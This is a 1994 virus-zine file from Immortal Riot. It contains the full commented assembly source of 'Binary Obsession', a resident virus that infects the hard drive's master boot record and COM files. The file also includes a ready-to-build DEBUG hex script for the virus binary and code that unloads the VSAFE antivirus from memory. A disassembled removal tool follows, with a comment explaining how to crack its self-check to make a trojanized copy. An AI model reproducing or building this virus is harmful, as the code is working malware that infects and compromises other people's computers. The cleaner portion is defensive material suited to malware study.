Insane Reality issue #6 - (c)opyright 1994 Immortal Riot File 012 ; ------------------------------------------------------------------------------ ; ; - Binary Obsession - ; Created by Immortal Riot's destructive development team ; (c) 1994 Metal Militia/Immortal Riot ; ; ------------------------------------------------------------------------------ ; þ Undestructive Harddrive & COM-file infector þ ; ------------------------------------------------------------------------------ Replicating: The first run a infected program is run, the virus will drop itself to the first sector on drive C:. The next time the the infected person reboots, it'll go resident and infect all comfiles executed. This version has no stealth, nor destructive features included. Anti-Virus-Detection: When we started to spead this virus to the public, it was undetectable from all scanners with the exception of tbscan. Well anyhow, if you get in trouble with this, there is a special-made anti-virus sprogram made by ratman below this code. Enjoy! .model tiny .code .286 org 100h start: call get_delta_offset ; no comment needed (0e8h) org_bytes: db 3 dup (?) ; buffer for the 3 original ; bytes get_delta_offset: pop bp ; fix the delta offset push cs push ss pop ax ; AX equals SS and pop dx ; DX equals CS cmp dx,ax ; If they both equal, then ; we're being executed from ; a file.. jne were_on_harddrive ; Else it's from the harddrive mov dx,5945h ; Removes the VSAFE program mov ax,0fa01h ; out of memory, this code is int 21h ; detected now-a-days though lea bx,ss:[bp+600] ; offset a more or less 'buffer' mov cx,1 ; 1 sector mov dx,80h ; from the harddrive mov ax,201h ; read it (MBR) int 13h cmp byte ptr es:[bx],0E8h ; Is the MBR already infected? jne infect_mbr ; if not, write ourselves there jmp dont_infect_mbr ; else just get the fuck out infect_mbr: mov cx,2 ; sector 2 mov ax,301h ; write the MBR to it int 13h lea si,[bp-3] mov cx,virsize ; our viruscode mov di,bx rep movsb ; copy it over the 1 sector but ; leave the partitiontable nice ; and workable, totally intact mov cx,1 ; now write our virus code mov ax,301h ; to the MBR now that we've int 13h ; taken a "back-up" of it.. dont_infect_mbr: mov si,bp ; offset 3 first bytes mov di,100h push di movsb ; copy them back again movsw retn ; and then executed the ; original program db "(c) Metal Militia/Immortal Riot" ; guess who? were_on_harddrive: xor ax,ax ; zero AX mov ds,ax ; DS to AX mov si,7C00h cli ; clear the interrupts mov ss,ax mov sp,si ; do the stack thing sti ; store the interrupts push ax push si sub word ptr ds:[413h],2 ; decrease available memory with ; 2 kilobytes (only 1 needed?) int 12h ; get number of kb's left mov cl,5 add cl,1 shl ax,cl mov es,ax ; Convert the stuff into kb's push cs pop ds ; DS equals CS mov cx,(realend-start) ; Our viralcode mov di,100h lea si,[bp-3] rep movsb ; Copy us up into the memory mov ds,cx ; DS to CX xchg ds:[13h*4+2],ax ; Catch int13h and set it mov ds:[0b6h*4+2],ax ; to become 0b6h instead mov es:int13zwei,ax ; storage place mov ax,offset our13 ; Now offset our int13 instead xchg ds:[13h*4],ax mov ds:[0b6h*4],ax mov es:int13uno,ax ; storage place mov ax,offset backtoorg ; 'call' our MBR part that does push es ; a reading on the original and push ax ; then jumps to it retf ; return far backtoorg: pop bx pop es mov cx,2 ; sector 2 mov dx,80h ; on harddrive (C: unit) mov ax,201h ; read it and wait int 0b6h db 0eah ; Now go jump to that spot in dw 7c00h,0 ; order to execute the original our13: push ax push ds sub ax,ax ; Zero out AX mov ds,ax ; DS equals AX cmp word ptr es:[bx],5A4Dh ; .EXE files starting w/'MZ' ? jne not_ready_right_now ; if not, retry until success cmp ds:[0e5h*4+2],ax ; Already in memory w/int21h? jne not_ready_right_now ; If so, fuck it.. outa here! mov ax,cs xchg ds:[21h*4+2],ax ; Else, catch it and exchange mov ds:[0e5h*4+2],ax ; it with 0e5h instead.. mov cs:int21zwei,ax ; Storage place mov ax,offset our21 ; And offset our int21 thingy xchg ds:[21h*4],ax mov ds:[0e5h*4],ax mov cs:int21uno,ax ; Storage place not_ready_right_now: pop ds pop ax db 0eah ; Back to the original int13h int13uno dw 0 ; Storage for the original int13zwei dw 0 ; 13h interrupt our21: pusha push ds push es ; Save all registers ; except for the stack ones cmp ax,4B00h ; Execution of a file? je file_infect ; If so, lets go check it out jmp computers_int21 ; else we're back to org21h file_infect: mov ax,4301h ; Zero the attributes sub cx,cx int 0e5h ; first abuse of the new int21h mov ax,3D00h ; Open it up int 0e5h xchg bx,ax ; mov bx,ax mov ax,1220h int 2Fh push bx mov ax,1216h mov bl,es:[di] int 2Fh ; Point at the SFT thingy pop bx or word ptr es:[di+2],2 ; set to read/write ability push cs pop ds mov ax,word ptr es:[di+0dh] ; read in date/time mov cx,ax and cl,00001111b ; Is it seconds of our choice? cmp cl,00000001b ; If not, lets infect it je closeitup ; Yeah, lets freak out and al,11110000b ; Now set those bloody seconds or al,00000001b mov f_time,ax ; Save file time mov ax,es:[di+0fh] mov f_date,ax ; and date mov cx,2 ; 3 bytes (2 here) mov ah,3Fh ; Read in inc cx ; plus one here mov dx,offset org_bytes ; and offset to buffer int 0e5h xchg dx,si ; point at it cmp byte ptr [si],'M' ; Is it an .EXE file w/'M'? je closeitup ; If so, leave it alone mov ax,es:[di+11h] ; Goto EOF with mov dx,es:[di+13h] ; the help of mov es:[di+15h],ax ; using these instead of the mov es:[di+17h],dx ; 4200h/4202h thingy dec ax ; dec ax dec ax ; three dec ax ; times mov byte ptr ds:jmp_x,231 ; jmp byte inc jmp_x ; increase inc jmp_x ; it twice mov word ptr ds:jmp_x+1,ax ; and yet add one mov ah,30h ; Write to file (WTF 1/2) mov cx,virsize ; Size of the viral code mov dx,100h ; Offset the start add ah,10h ; WTF 2/2 int 0e5h xor ax,ax ; Goto SOF mov es:[di+15h],ax mov ah,20h ; Write to file (WTF 1/2) mov cx,2 ; 2 bytes add ah,20h ; WTF 2/2 inc cx ; plus another one mov dx,offset jmp_x ; Offset the buffer int 0e5h mov dx,f_date ; original date mov cx,f_time ; original time mov ax,5701h ; Restore them int 0e5h closeitup: mov ah,3Eh ; Close file int 0e5h computers_int21: pop es pop ds popa db 0eah ; Jump back to original int21h virend: int21uno dw ? ; Storage for the original int21zwei dw ? ; 21h interrupt virsize equ virend-start f_date dw ? ; Storage place for f_time dw ? ; file date/time jmp_x db 3 dup (?) ; JMP code buffer realend: end start -------------------------------------------------------------------------------- N bocomm.com E 100 E8 03 00 00 00 00 5D 0E 16 58 5A 3B D0 75 61 BA E 110 45 59 B8 01 FA CD 21 8D 9E 58 02 B9 01 00 BA 80 E 120 00 B8 01 02 CD 13 26 80 3F E8 75 02 EB 1A B9 02 E 130 00 B8 01 03 CD 13 8D 76 FD B9 B9 01 8B FB F3 A4 E 140 B9 01 00 B8 01 03 CD 13 8B F5 BF 00 01 57 A4 A5 E 150 C3 28 63 29 20 4D 65 74 61 6C 20 4D 69 6C 69 74 E 160 69 61 2F 49 6D 6D 6F 72 74 61 6C 20 52 69 6F 74 E 170 33 C0 8E D8 BE 00 7C FA 8E D0 8B E6 FB 50 56 83 E 180 2E 13 04 02 CD 12 B1 05 80 C1 01 D3 E0 8E C0 0E E 190 1F B9 C4 01 BF 00 01 8D 76 FD F3 A4 8E D9 87 06 E 1a0 4E 00 A3 DA 02 26 A3 02 02 B8 CF 01 87 06 4C 00 E 1b0 A3 D8 02 26 A3 00 02 B8 BD 01 06 50 CB 5B 07 B9 E 1c0 02 00 BA 80 00 B8 01 02 CD B6 EA 00 7C 00 00 50 E 1d0 1E 2B C0 8E D8 26 81 3F 4D 5A 75 21 39 06 96 03 E 1e0 75 1B 8C C8 87 06 86 00 A3 96 03 2E A3 BB 02 B8 E 1f0 04 02 87 06 84 00 A3 94 03 2E A3 B9 02 1F 58 EA E 200 00 00 00 00 60 1E 06 3D 00 4B 74 03 E9 A6 00 B8 E 210 01 43 2B C9 CD E5 B8 00 3D CD E5 93 B8 20 12 CD E 220 2F 53 B8 16 12 26 8A 1D CD 2F 5B 26 83 4D 02 02 E 230 0E 1F 26 8B 45 0D 8B C8 80 E1 0F 80 F9 01 74 71 E 240 24 F0 0C 01 A3 BF 02 26 8B 45 0F A3 BD 02 B9 02 E 250 00 B4 3F 41 BA 03 01 CD E5 87 D6 80 3C 4D 74 51 E 260 26 8B 45 11 26 8B 55 13 26 89 45 15 26 89 55 17 E 270 48 48 48 C6 06 C1 02 E7 FE 06 C1 02 FE 06 C1 02 E 280 A3 C2 02 B4 30 B9 B9 01 BA 00 01 80 C4 10 CD E5 E 290 33 C0 26 89 45 15 B4 20 B9 02 00 80 C4 20 41 BA E 2a0 C1 02 CD E5 8B 16 BD 02 8B 0E BF 02 B8 01 57 CD E 2b0 E5 B4 3E CD E5 07 1F 61 EA RCX 1b9 W Q -------------------------------------------------------------------------------- Cleaner to Binary Obsession Here follow a disassembly to a remover to the above named virus. The dissassembly sucks, but could be a great learning tool for those who want to write such programs.. Here follow the documentation included in IRM-KILL.ZIP. " - Killer for IR MultiPartitet Virus - Here's a Scanner/Killer for a new multipartite virus that I found today. A multipartite virus is a virus that is able to infect both files and boot- sectors (or MBRs). This virus is parasitic resident infector of .COM files and HD MBRs. The virus works like this: When an infected file is executed the virus infects the HD(if not already infected) it will then allow the infected file to execute. When the system is rebooted the virus in the MBR will become active and will now infect .COM files that are excuted. The scanner will first check the HD for infection in the MBR - if the virus is present in the MBR the scanner assumes that the virus is already resident and displays a warning. In case of an MBR infection you should reboot from a floppy before trying to clean the system. The scanner checks all .COM files in the current directory, if an infected file is found the scanner will ask you if you wish to clean it. Cleaned files will get their original size and time stamp. As always it might be a good idea to make backups of important files before trying to clean the system. /RatMan " -------------------------------------------------------------------------------- Binary Obsession Cleaner - By Ratman - data_18e equ 9CDh ;* data_19e equ 4F43h ;* seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h irm_kill proc far start: mov ah,9 mov dx,offset data_1 ; ('IR Multi-Partite Virus K') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx ;====( Here is the program's self-check routine )==============================; cmp word ptr ds:data_18e,3E8h jne loc_1 ; jmp short loc_1 ; 'Crack it' ; If you want it 'cracked', exchange the jne loc_1 to "jmp short loc_1" and ; voila!.. Program run like it wasn't modified.. All trivia really, and ; very usuful if one want a trojanized version of this program :). mov ah,9 mov dx,offset data_6 ; ('Scanner fails Self-Check') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx int 20h ; DOS program terminate loc_1: mov ax,201h mov bx,offset data_15 mov cx,1 mov dx,80h int 13h ; Disk dl=drive 0 ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head cmp data_15,3E8h jne loc_2 ; Jump if not equal mov ah,9 mov dx,offset data_2 ; ('Warning!: IR MultiPartit') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx mov ah,0 int 16h ; Keyboard i/o ah=function 00h ; get keybd char in al, ah=scan cmp ah,15h jne loc_2 ; Jump if not equal mov ax,201h mov bx,offset data_15 mov cx,2 mov dx,80h int 13h ; Disk dl=drive 0 ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head mov ax,301h mov bx,offset data_15 mov cx,1 mov dx,80h int 13h ; Disk dl=drive 0 ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head mov ah,9 mov dx,offset data_4 ; ('Drive C: MBR is now Clea') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx loc_2: mov ah,9 mov dx,offset data_5 ; ('Scanning the files in th') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx mov ah,2Fh int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx mov ah,4Eh mov cx,7 mov dx,586h int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_4 ; Jump if carry Set loc_3: call sub_1 mov ah,4Fh int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_3 ; Jump if carry=0 loc_4: jmp short $+3 ; delay for I/O nop int 20h ; DOS program terminate irm_kill endp sub_1 proc near push ax push bx push cx push dx push di push si push es push es pop ds push cs pop es mov si,bx add si,1Eh mov di,58Ch mov cx,0Fh push cx push di rep movsb pop di pop cx xor al,al cld repne scasb mov al,20h rep stosb mov byte ptr es:[di],24h ; '$' pop es push cs pop ds mov ah,9 mov dx,58Ch int 21h ; DOS Services ah=function 09h ; display char string at ds:dx mov ax,3D02h mov dx,bx add dx,1Eh push es pop ds int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset xor cx,cx ; Zero register mov dx,ax sub dx,1B9h ; EOF-441 mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov ah,3Fh mov cx,1B9h ; 441 bytes mov dx,offset data_15 int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer cmp data_15,3E8h jne loc_5 ; Jump if not equal mov ah,9 mov dx,offset data_9 ; ('is infected by IR MultiP') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx mov ah,0 int 16h ; Keyboard i/o ah=function 00h ; get keybd char in al, ah=scan cmp ah,15h je loc_7 ; Jump if equal mov ah,9 mov dx,offset data_11 ; (' - No') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx jmp short loc_6 db 90h loc_5: mov ah,9 mov dx,offset data_8 ; ('is clean...') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx loc_6: mov ah,3Eh int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle mov data_15,0 pop si pop si pop dx pop cx pop bx pop ax retn loc_7: mov ah,9 mov dx,offset data_10 ; (' - Yes') int 21h ; DOS Services ah=function 09h ; display char string at ds:dx mov ax,5700h int 21h ; DOS Services ah=function 57h ; get file date+time, bx=handle ; returns cx=time, dx=time push cx push dx xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov ah,40h ; '@' mov cx,3 mov dx,offset data_17 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset xor cx,cx ; Zero register mov dx,ax sub dx,1B9h mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov ah,40h ; '@' mov cx,0 mov dx,offset data_15 int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer pop dx pop cx mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time jmp short loc_6 sub_1 endp data_1 db 'IR Multi-Partite Virus Killer by' db ' -+ RatMan +-', 0Ah, 0Dh copyright db '(C) 1994 RatMan - This program i' db 's free of charge for all use' db 'rs.', 0Ah, 0Dh, 'DISCLAIMER: Thi' db 's software is provided "AS IS" ' db 'without warranty of any kind,', 0Ah db 0Dh, 'either expressed or implied' db ', including but not limmited to ' db 'the fitness for', 0Ah, 0Dh, 'any' db ' particular purpose. The entire ' db 'risk as to its quality or perfor' db 'mance', 0Ah, 0Dh, 'is assumed by' db ' the user.', 0Ah, 0Dh, 0Ah, 0Dh, '$' data_2 db 'Warning!: IR MultiPartite Virus ' db 'found in MBR of Drive C: - Clean' db ' (Y/N)', 0Ah, 0Dh, ' (I' db 'f the System was booted from Dri' db 've C: you should reboot', 0Ah, 0Dh db ' from a clean floppy b' db 'efore trying to clean your syste' db 'm.....)', 7, 0Ah, 0Dh, 0Ah, 0Dh, '$' data_4 db 'Drive C: MBR is now Clean......', 0Ah db 0Dh, 0Ah, 0Dh, '$' data_5 db 'Scanning the files in the Curren' db 't Directory.....', 0Ah, 0Dh, 0Ah db 0Dh, '$' data_6 db 'Scanner fails Self-Check.....', 7 db 0Ah, 0Dh, '$' data_8 db 'is clean...', 0Dh, 0Ah, '$' data_9 db 'is infected by IR MultiPartite V' db 'irus - Clean ? (Y/N)', 7, '$' data_10 db ' - Yes', 0Ah, 0Dh, '$' data_11 db ' - No', 0Ah, 0Dh, '$' db 0, 0 data_12 db 2Ah db 2Eh, 43h, 4Fh, 4Dh, 00h data_13 db 1 db 63 dup (1) data_15 dw 0 db 0 data_17 db 0 db 1021 dup (0) seg_a ends end start -------------------------------------------------------------------------------- N irm-kill.com E 100 B4 09 BA 6B 02 CD 21 81 3E CD 09 E8 03 75 09 B4 E 110 09 BA 0E 05 CD 21 CD 20 B8 01 02 BB CC 05 B9 01 E 120 00 BA 80 00 CD 13 81 3E CC 05 E8 03 75 33 B4 09 E 130 BA DB 03 CD 21 B4 00 CD 16 80 FC 15 75 23 B8 01 E 140 02 BB CC 05 B9 02 00 BA 80 00 CD 13 B8 01 03 BB E 150 CC 05 B9 01 00 BA 80 00 CD 13 B4 09 BA B5 04 CD E 160 21 B4 09 BA D9 04 CD 21 B4 2F CD 21 B4 4E B9 07 E 170 00 BA 86 05 CD 21 72 09 E8 0B 00 B4 4F CD 21 73 E 180 F7 EB 01 90 CD 20 50 53 51 52 57 56 06 06 1F 0E E 190 07 8B F3 83 C6 1E BF 8C 05 B9 0F 00 51 57 F3 A4 E 1a0 5F 59 32 C0 FC F2 AE B0 20 F3 AA 26 C6 05 24 07 E 1b0 0E 1F B4 09 BA 8C 05 CD 21 B8 02 3D 8B D3 83 C2 E 1c0 1E 06 1F CD 21 8B D8 B8 02 42 33 C9 33 D2 CD 21 E 1d0 33 C9 8B D0 81 EA B9 01 B8 00 42 CD 21 B4 3F B9 E 1e0 B9 01 BA CC 05 CD 21 81 3E CC 05 E8 03 75 1A B4 E 1f0 09 BA 3D 05 CD 21 B4 00 CD 16 80 FC 15 74 22 B4 E 200 09 BA 7C 05 CD 21 EB 08 90 B4 09 BA 2F 05 CD 21 E 210 B4 3E CD 21 C7 06 CC 05 00 00 5E 5E 5A 59 5B 58 E 220 C3 B4 09 BA 73 05 CD 21 B8 00 57 CD 21 51 52 33 E 230 C9 33 D2 B8 00 42 CD 21 B4 40 B9 03 00 BA CF 05 E 240 CD 21 B8 02 42 33 C9 33 D2 CD 21 33 C9 8B D0 81 E 250 EA B9 01 B8 00 42 CD 21 B4 40 B9 00 00 BA CC 05 E 260 CD 21 5A 59 B8 01 57 CD 21 EB A5 49 52 20 4D 75 E 270 6C 74 69 2D 50 61 72 74 69 74 65 20 56 69 72 75 E 280 73 20 4B 69 6C 6C 65 72 20 62 79 20 2D 2B 20 52 E 290 61 74 4D 61 6E 20 2B 2D 0A 0D 28 43 29 20 31 39 E 2a0 39 34 20 52 61 74 4D 61 6E 20 2D 20 54 68 69 73 E 2b0 20 70 72 6F 67 72 61 6D 20 69 73 20 66 72 65 65 E 2c0 20 6F 66 20 63 68 61 72 67 65 20 66 6F 72 20 61 E 2d0 6C 6C 20 75 73 65 72 73 2E 0A 0D 44 49 53 43 4C E 2e0 41 49 4D 45 52 3A 20 54 68 69 73 20 73 6F 66 74 E 2f0 77 61 72 65 20 69 73 20 70 72 6F 76 69 64 65 64 E 300 20 22 41 53 20 49 53 22 20 20 77 69 74 68 6F 75 E 310 74 20 77 61 72 72 61 6E 74 79 20 6F 66 20 61 6E E 320 79 20 6B 69 6E 64 2C 0A 0D 65 69 74 68 65 72 20 E 330 65 78 70 72 65 73 73 65 64 20 6F 72 20 69 6D 70 E 340 6C 69 65 64 2C 20 69 6E 63 6C 75 64 69 6E 67 20 E 350 62 75 74 20 6E 6F 74 20 6C 69 6D 6D 69 74 65 64 E 360 20 74 6F 20 74 68 65 20 66 69 74 6E 65 73 73 20 E 370 66 6F 72 0A 0D 61 6E 79 20 70 61 72 74 69 63 75 E 380 6C 61 72 20 70 75 72 70 6F 73 65 2E 20 54 68 65 E 390 20 65 6E 74 69 72 65 20 72 69 73 6B 20 61 73 20 E 3a0 74 6F 20 69 74 73 20 71 75 61 6C 69 74 79 20 6F E 3b0 72 20 70 65 72 66 6F 72 6D 61 6E 63 65 0A 0D 69 E 3c0 73 20 61 73 73 75 6D 65 64 20 62 79 20 74 68 65 E 3d0 20 75 73 65 72 2E 0A 0D 0A 0D 24 57 61 72 6E 69 E 3e0 6E 67 21 3A 20 49 52 20 4D 75 6C 74 69 50 61 72 E 3f0 74 69 74 65 20 56 69 72 75 73 20 66 6F 75 6E 64 E 400 20 69 6E 20 4D 42 52 20 6F 66 20 44 72 69 76 65 E 410 20 43 3A 20 2D 20 43 6C 65 61 6E 20 28 59 2F 4E E 420 29 0A 0D 20 20 20 20 20 20 20 20 20 20 28 49 66 E 430 20 74 68 65 20 53 79 73 74 65 6D 20 77 61 73 20 E 440 62 6F 6F 74 65 64 20 66 72 6F 6D 20 44 72 69 76 E 450 65 20 43 3A 20 79 6F 75 20 73 68 6F 75 6C 64 20 E 460 72 65 62 6F 6F 74 0A 0D 20 20 20 20 20 20 20 20 E 470 20 20 20 66 72 6F 6D 20 61 20 63 6C 65 61 6E 20 E 480 66 6C 6F 70 70 79 20 62 65 66 6F 72 65 20 74 72 E 490 79 69 6E 67 20 74 6F 20 63 6C 65 61 6E 20 79 6F E 4a0 75 72 20 73 79 73 74 65 6D 2E 2E 2E 2E 2E 29 07 E 4b0 0A 0D 0A 0D 24 44 72 69 76 65 20 43 3A 20 4D 42 E 4c0 52 20 69 73 20 6E 6F 77 20 43 6C 65 61 6E 2E 2E E 4d0 2E 2E 2E 2E 0A 0D 0A 0D 24 53 63 61 6E 6E 69 6E E 4e0 67 20 74 68 65 20 66 69 6C 65 73 20 69 6E 20 74 E 4f0 68 65 20 43 75 72 72 65 6E 74 20 44 69 72 65 63 E 500 74 6F 72 79 2E 2E 2E 2E 2E 0A 0D 0A 0D 24 53 63 E 510 61 6E 6E 65 72 20 66 61 69 6C 73 20 53 65 6C 66 E 520 2D 43 68 65 63 6B 2E 2E 2E 2E 2E 07 0A 0D 24 69 E 530 73 20 63 6C 65 61 6E 2E 2E 2E 0D 0A 24 69 73 20 E 540 69 6E 66 65 63 74 65 64 20 62 79 20 49 52 20 4D E 550 75 6C 74 69 50 61 72 74 69 74 65 20 56 69 72 75 E 560 73 20 2D 20 43 6C 65 61 6E 20 3F 20 28 59 2F 4E E 570 29 07 24 20 2D 20 59 65 73 0A 0D 24 20 2D 20 4E E 580 6F 0A 0D 24 00 00 2A 2E 43 4F 4D 00 01 01 01 01 E 590 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 E 5a0 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 E 5b0 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 E 5c0 01 01 01 01 01 01 01 01 01 01 01 01 00 00 00 00 E 5d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 5e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 5f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 6a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 6b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 6c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 6d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 6e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 6f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 7a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 7b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 7c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 7d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 7e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 7f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 8a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 8b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 8c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 8d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 8e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 8f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 960 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 970 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 980 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 990 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 9a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 9b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 9c0 00 00 00 00 00 00 00 00 00 00 00 00 00 RCX 8cd W Q